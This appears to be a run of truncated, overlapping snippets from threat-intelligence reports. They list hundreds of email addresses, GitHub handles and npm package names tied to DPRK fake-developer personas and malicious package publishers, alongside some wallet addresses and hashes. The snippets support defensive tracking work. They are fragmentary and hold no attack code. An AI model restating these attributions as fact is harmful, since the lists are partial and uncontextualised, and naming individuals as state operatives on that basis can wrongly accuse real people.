minutes after the first observed…","…\"email\" : \"danakimoto319@gmail.com\" , \"name\" : \"crazydream000\" \"email\" : \"mooneydev9001\" , \"name\" : \"mooney0129\" \"email\" : \"mooneydev9001@gamil.com\" , \"name\" : \"mooney0129\" \"email\" : \"mooneydev9001@gmail.com\" , \"name\" : \"CrazyDream000\" \"email\" : \"mooneydev9001@gmail.com\" , \"name\" :…","…\"2024-06-23T15:07:34Z\" , \"updated_at\" : \"2025-03-26T11:15:51Z\" \"email\" : \"crazy.dream0129@gmail.com\" , \"name\" : \"SonataM\" \"email\" : \"mooneydev9001@gmail.com\" , \"name\" : \"SonataM\" SonataM Phishing/RugPulls: Note: the below list can be mixed with “legit” memecoin projects, it’s honestly…","…mirzebesto@gufum.com mitoyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykola…","…Year in Review lovelysong0209@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review moreandmore082@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review meirjacob727@gmail.com email malware N/A…","…Email Addresses lucaschang1127@gmail.com xtinc.exp@gmail.com noahsflood908@gmail.com truepartner312@gmail.com motokimasuo89@gmail.com wongaiden812@gmail.com vincenzagiorgi6@gmail.com pwlkjakub@gmail.com gru.dev259007@gmail.com toptall.cook@gmail.com…","…email address associated with Motoki appeared blurred on screen ; however, based on the avatar and interface cues , it was identifiable as motosimasuo@gmail.com . Interestingly, the default language displayed in their Gmail account is Russian, as indicated by the prompt Выберите аккаунт ( Choose…","…oyohei97216@gmail.com miyatsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykyt…","…atsukotenjiku@gmail.com mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com myst…","…per1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksy…","…@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@…","Written as a reply to Group-IB's research on a network of synthetic developer personas. The researcher says these accounts are reachable from the mr.new0509 address by following its reuse across profiles, and calls them first-degree relationships only, so the set is not presented as complete. No operator name is attached to any of them. The address itself is already indexed from Group-IB's own report and is repeated here so the accounts and the address carry the same citation. The researcher gives each account's numeric GitHub identifier alongside its handle and recommends recording it, because the identifier survives a rename and the handle does not: elegant-idn 139725778, Iyk-Tech22 66622175, Malsaid1987 53496597, minionhub 131043067, jimmynet444 158188955, admin-0123 104113428, codeninja9x 131269268, ApolloComet 137799307, mountain4989 158185424, bitcrusher1023 126678955, dluoulb 158235347, dtorres314 161058350, starmastar1126 67782634. Group-IB replied to the same post that it had reported the accounts to GitHub before publishing and that some had already been taken down, so a handle here may no longer resolve.","…While analyzing code and repository artifacts, we identified references to mr.new0509@gmail.com . Figure 9.…","…om mjone352@gmail.com mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.…","…mlovaglia1210@gmail.com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gm…","…com moneycode852@gmail.com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gma…","…ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com -…","…intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldsea808@yahoo.com alexstepan0209@gmail.com jamesybarra114@gmail.com mrsteevtvw418@gmail.com toptalent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail…","…team. I have only payoneer balance now. Is there any payoneer account that I can send? Thank you. --- [2026-01-12 22:43:38] PC-1234 MSTshimuli@outlook.com --- [2026-01-12 22:56:52] ksrw-ihb20030817-1 [image: /uploads/1768258603478-969330110.png] --- [2026-01-12 22:57:13]…","…Payoneer account External 🟢 Confirmed noor.llc@outlook.com PC-1234 Payoneer account External 🟢 Confirmed MSTshimuli@outlook.com PC-1234 Payoneer account External 🟢 Confirmed Ecoskyfarmsllc9@outlook.com PC-1234 Payoneer account External 🟢…","…apollotoday (Also known as AnotherRusty or Matthias Li) hudes0112@gmail.com: m4rcu5o (Also operated by apollotoday) mufasa030831@gmail.com: Cornel keigo263129@outlook.com: Adrian AnotherRusty AnotherRusty most recently used the fake name of Matthias Li.…","…Alias: A.S\\n- GitHub name: am263129\\n- fashioncstar2019@outlook.com\\n- mufasa263129@gmail.com\\n\",\"x\":1020,\"y\":-834,\"width\":359,\"height\":440,\"color\":\"4\"},…","…adambinharun1010@gmail.com[email protected] minamotohitoshi912@gmail.com[email protected] muhammadhamid4760@gmail.com[email protected] scott.brown0629@gmail.com[email protected] scott.brown00629@gmail.com[email protected]…","…ertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com bot…","…243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.…","…Chinyong Information Technology Cooperation Company) - naokimurano - muranox.eth - supermutecx - 0xdpta - naokimurano@outlook.com - murano@outlook.com - murano1996@gmail.com - github.com/supermutecx • [Archive](https://archive.ph/96QVA) - github.com/0xdpta -…","…Technology Cooperation Company) - naokimurano - muranox.eth - supermutecx - 0xdpta - naokimurano@outlook.com - murano@outlook.com - murano1996@gmail.com - github.com/supermutecx • [Archive](https://archive.ph/96QVA) - github.com/0xdpta - 0x85e0504fcd7981baa68774431099c5e2dcf074dd -…","…com moonshine22222@proton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@mad…","…Year in Review chainsaw1107@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review mutsabsaskajgig0f@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review snowl3784@gmail.com email malware N/A…","…(291) Threat Actor Identifiers # npm Aliases and Email Addresses: taras_lakhai — kevintracy516@gmail.com mvitalii — mvitalii206@gmail.com wishorn — starlancer555@gmail.com crouch626 — crouchtomy@gmail.com GitHub Accounts: lukobogdan47 austin-a3 Bitbucket…","…cors-parser We observed the registration of invite@quiz-nest.com approximately two minutes after the threat actors attempted to register mvsolution9@gmail.com .…","…kmsec feed corvettdan1963@inlook.cloud — publisher of chai-as-adapter , chai-as-chain-v2 , chai-as-evm — appears in the same cluster mwai2005@officecombine.com ( chai-use-chain ), wovon16983@marvetos.com ( trackora-chain , trackora-node ), mexowoj971@izkat.com ( chai-str ), borire8128@jsncos.com (…","…2026-09-24 selfsigned-generator (1.0.0) 2026-09-24 mycool1012 <mycool1012@gmail.com> d3880346028d3129aa93708facbf79abe0d09122f802b6c121087c25db9d98d4 2026-09-23 solidity-lock (2.21.0) 2026-09-23…","…ton.me moustafaragnar@gmail.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gu…","…michal.kaim99@outlook.com milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com…","…milamben510@outlook.com miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com…","…email insider N/A N/A Threat actor persona email 4 david@heyadev.com email insider N/A N/A Threat actor persona email 4 mykytadanylchenko@outlook.com email insider N/A N/A Threat actor persona email 4 ronaldofanclub112@gmail.com email insider N/A N/A Threat actor persona email 4…","…ce@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter…","…com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@ou…","…l.com mperezbdev@gmail.com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@…","…mi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com…","…malicious repository matsarello@mail.ru Commits to malicious repository michalk001126@gmail.com Commits to malicious repository myselfmail0301@gmail.com Commits to malicious repository nelsonher019@gmail.com Commits to malicious repository pe699674@gmail.com Commits to malicious…","….com mr.nezdal2@gmail.com mr.nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofang…","…email insider N/A N/A Synthetic persona email 2 mateusz.moczar@outlook.com email insider N/A N/A Synthetic persona email 2 nadoyankovic@outlook.com email insider N/A N/A Synthetic persona email 2 dionizy.kohutek@outlook.com email insider N/A N/A Synthetic persona email 2…","…rusty015, Solust_Rusty Discord: rusty102 / 397440130744320035 Telegram: idioRusty Telegram URL: https://t.me/anotherrusty Email: nailrusty.dev@gmail.com Email: matthiasli.mt@gmail.com Name & Address (Fake): Mathias Li Address: 4515 Coronado St.…","…nezdal3@gmail.com mrogolino729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428…","…no729@gmail.com muse9515one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@…","…15one@gmail.com mykolahubenko29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gma…","…abd757168e0b6066859010a4fc460ab65623301e5727945707af4faf346380d6 2026-08-18 config-helper-kit (1.3.2) 2026-08-18 nami318 <nami2075add@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…pino-logger-utils-1.0.1.tgz exfil: clob-polymarket.com 2026-03-11 17:13:59 big-nunber (v5.0.2) nami.jam.i.h.s.h.s (nami.jam.i.h.s.h.s@googlemail.com) big-nunber-5.0.2.tgz ID for lint-builder 2026-03-11 17:11:03 lint-builder (v1.0.0) nami.jam.i.h.s.h.s…","…account Year in Review arnas.tf7@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review nandawsu58@hotmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review magalhaesbruno236@gmail.com email malware N/A…","…email insider N/A N/A Synthetic persona email 2 juliankopala.pol@gmail.com email insider N/A N/A Synthetic persona email 2 nanusevskitodor@gmail.com email insider N/A N/A Synthetic persona email 2 ediurmankovic.cc@gmail.com email insider N/A N/A Synthetic persona email 2…","…subordinate to DPRK Chinyong Information Technology Cooperation Company) - naokimurano - muranox.eth - supermutecx - 0xdpta - naokimurano@outlook.com - murano@outlook.com - murano1996@gmail.com - github.com/supermutecx • [Archive](https://archive.ph/96QVA) - github.com/0xdpta -…","…ivandimov921016@outlook.com[email protected] ZachXBT Supplied: 0xm00neth@gmail.com[email protected] naokimurano@outlook.com[email protected] joshupgig@gmail.com[email protected] smart.solidity@gmail.com[email protected] Crypto Wallets: Note: These are…","…Accounts used to register domains: • jasper.lewitton.official@gmail.com • dodson43210@protonmail.com • napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com • ashockvaradharajan@gmail.com • yoannturp@gmail.com Th e…","…o29@gmail.com mykytaya007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguse…","…mexc-utils-helper 2026-03-24 graph first seen koldavich@yandex.com mjs-biginteger 2026-03-23 live registry n.ar.a.tat.ia.n.aaa@gmail.com modustack 2026-03-24 live registry hr@vynlence.com next-runtimejs 2026-04-09 live registry jr0819@proton.me…","…gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmai…","…a007@gmail.com mysterystarter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@…","…arter+1@outlook.com nakaoakira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gm…","…purports to be a digital services provider and is still active. To take an example, on 18 November 2025, npm user nastiagoman ( nastiagoman@dsantoro.es ) published npm package chai-status , which was a simple downloader that pulled a remote payload from jsonkeeper.com and evaluated it.…","…modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com…","…sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com topdev0921@gmail.com natalie.dev.hr@gmail.com Malicious Bitbucket Repositories # https://bitbucket.org/notion-dex/ultrax https://bitbucket.org/zoro-workspace/ Command and…","…Review cristhianmartinezrom7@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review natasa.golubovic90@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review weili.walk@gmail.com email malware N/A…","…email insider N/A N/A Threat actor persona email 4 anastasiaanufriyenko@gmail.com email insider N/A N/A Threat actor persona email 4 naterongi@gmail.com email insider N/A N/A Threat actor persona email 4 andriimalyshenko@yahoo.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 rl6700907@gmail.com email insider N/A N/A Threat actor persona email 4 naterongi1@gmail.com email insider N/A N/A Threat actor persona email 4 alexeu005@gmail.com email insider N/A N/A Threat actor persona email 4…","…miltonsanders1234@gmail.com mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com…","…kira.pop@gmail.com nalpa199858@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com…","…8@gmail.com nalyah.avra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmai…","…( download ) andrewdeanwalker007 (andrewdeanwalker007@gmail.com) 2026-02-25 21:37:45 bcryptance v6.5.2 ( download ) needlesstosay (needlesstosay0o0o0@gmail.com) 2026-02-25 19:38:58 ether-lint v5.9.4 ( download ) maheshkya (whereisandrew2@gmail.com) Analysis These packages contain an…","…2026 michaelw@ondofinance.tech Email address Attacker-controlled email address April 2026 neila@ondofinance.tech Email address Attacker-controlled email address April 2026 oladotuna@ondofinance.tech Email…","…and 2026-08-30 later earlier Released Package IOCs 2026-08-27 tailwindcss-form-styles (0.5.15) 2026-08-27 solo1100 <nejewah462@prodbits.com> www.w3.org http://www.w3.org/2000/svg 51790c7cf33f35e0e76e335205440c28e8ad88b900fe957c3d3636ee60bc21fa 2026-08-27…","…mail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com ra…","…and re-branding. 0xOpsDev Github URL: https://github.com/0xopsdev Other names: ZireaelGit, MinionGit, meta0xflip E-mail: nelo.labhart@gmail.com On-chain: 0x7a87c66718255c5be3c0607e134592d9a8bdb32c What’s most interesting about 0xopsdev is one of the traces of his past…","…{\"id\":\"8f4239ff47c87844\",\"type\":\"text\",\"text\":\"nelo.labhart@gmail.com\",\"x\":4320,\"y\":2160,\"width\":240,\"height\":60,\"color\":\"4\"},…","…ra@madeforthat.org napsisapso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmai…","…t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com -…","…email insider N/A N/A Synthetic persona email 2 velyokazepov@gmail.com email insider N/A N/A Synthetic persona email 2 nestorovskiemilija100@gmail.com email insider N/A N/A Synthetic persona email 2 ankaankahristov@gmail.com email insider N/A N/A Synthetic persona email 2…","…apso@gufum.com naruhitokaide@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.c…","…email insider N/A N/A Synthetic persona email 2 janlindberg80@outlook.com email insider N/A N/A Synthetic persona email 2 nevenborisov@outlook.com email insider N/A N/A Synthetic persona email 2 toni.komadina@outlook.com email insider N/A N/A Synthetic persona email 2…","…Zirou - yamamotoziro.0113@gmail.com - yamamotoziro.0113 - blockchaindeveloper777@gmail.com #### Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 -…","…feel free to contact us at chollima_group@proton.me Emails: johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazun…","…2026-04-09 live registry a.l.l.a.nh.orca0.7@googlemail.com bulletproof-json 2026-04-07 live registry newacak3@gmail.com bundrix 2026-03-24 live registry hr@chainlence.com byteboxlab 2026-04-15 live registry…","…modernhomerealtor49536@gmail.com modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com…","…modernspacesrealty29477@gmail.com mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com…","…mohammedas517@outlook.com nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com…","…nataliastashkiv.bs@outlook.com newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com…","…newcitydealers94317@gmail.com newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com…","…newcityhomeadv90451@gmail.com newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com…","…newheightsrealtor83727@gmail.com newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com…","…de@gmail.com nasi.vaden@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail…","…newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com…","…newhousenexus82253@gmail.com newleafapartment50743@gmail.com newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com…","…n@minofangle.org nazarnesterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@…","…- Kim Myong Chol luannguyen0318@gmail.com Luan Vietnam United States $25/hour, 40 hours/week 6 months nguyentcg000@gmail.com Giang Vietnam United States $50/hour, 40 hours/week 6 months johncasas000@gmail.com John Colombia United States…","…t.me/whatis12354 - github.com/savvy-bit - 0x17087F92D16049E9097413B4964663B754C1E43d ### Nicolas Chi - 2024 - Hong Kong - nic92047@gmail.com - 0x641279133F6F560c3f512b8E2D286Ae2C53c31EE - 0xCC8020bed135ba9eCf9312Ea0c36234A0BcEC05F ### Alex Hong - 2022 - USA -…","…sterov21428@gmail.com nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomot…","…email insider N/A N/A Threat actor persona email 4 tezauidev@gmail.com email insider N/A N/A Threat actor persona email 4 nicewitali0311@gmail.com email insider N/A N/A Threat actor persona email 4 shopstar0907@gmail.com email insider N/A N/A Threat actor persona email 4…","…nbecker194@gmail.com nemanja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.c…","…oedon@outlook.com supernova1111a@outlook.com myronenkoyaroslav4@gmail.com savonik.alina00@gmail.com blacktigerbusinesswork@outlook.com nick2022lane@gmail.com yellowstrawberrymilk@gmail.com…","…email insider N/A N/A Threat actor persona email 4 gdavisiv.dev@gmail.com email insider N/A N/A Threat actor persona email 4 nicolas.edgardo1028@gmail.com email insider N/A N/A Threat actor persona email 4 alexeilucky23@gmail.com email insider N/A N/A Threat actor persona email 4…","…on other platforms despite account takedowns or vendor enforcement. Using one of the email addresses previously identified by GitLab – nicolas.edgardo1028@gmail.com – we traced a GitHub account, cybersage14 , which served as an entry point into a wider ecosystem of overlapping personas, repositories,…","…kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar…","…2026 justinstone@hr.trixauvex.org Email address Attacker-controlled email address May 2026 nicoupdyke@hr.trixauvexnet.ink Email address Attacker-controlled email address May 2026 oliviaben@hr.pulsynk.org Email address…","…ja.dev210@gmail.com netstarkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.co…","…akratos_god - kratos-te - x.com/akratos_god - github.com/kratos-te - department.c0809@gmail.com - michaelgordon.kratos@gmail.com - nightfurry090@gmail.com - degenpigg - miclegoden - LOVES to leak the private code which earned him a DMCA takedown on Github ### hexnome - OuraKano -…","…arkinguser@gmail.com newssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com…","…liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com…","…email insider N/A N/A Synthetic persona email 2 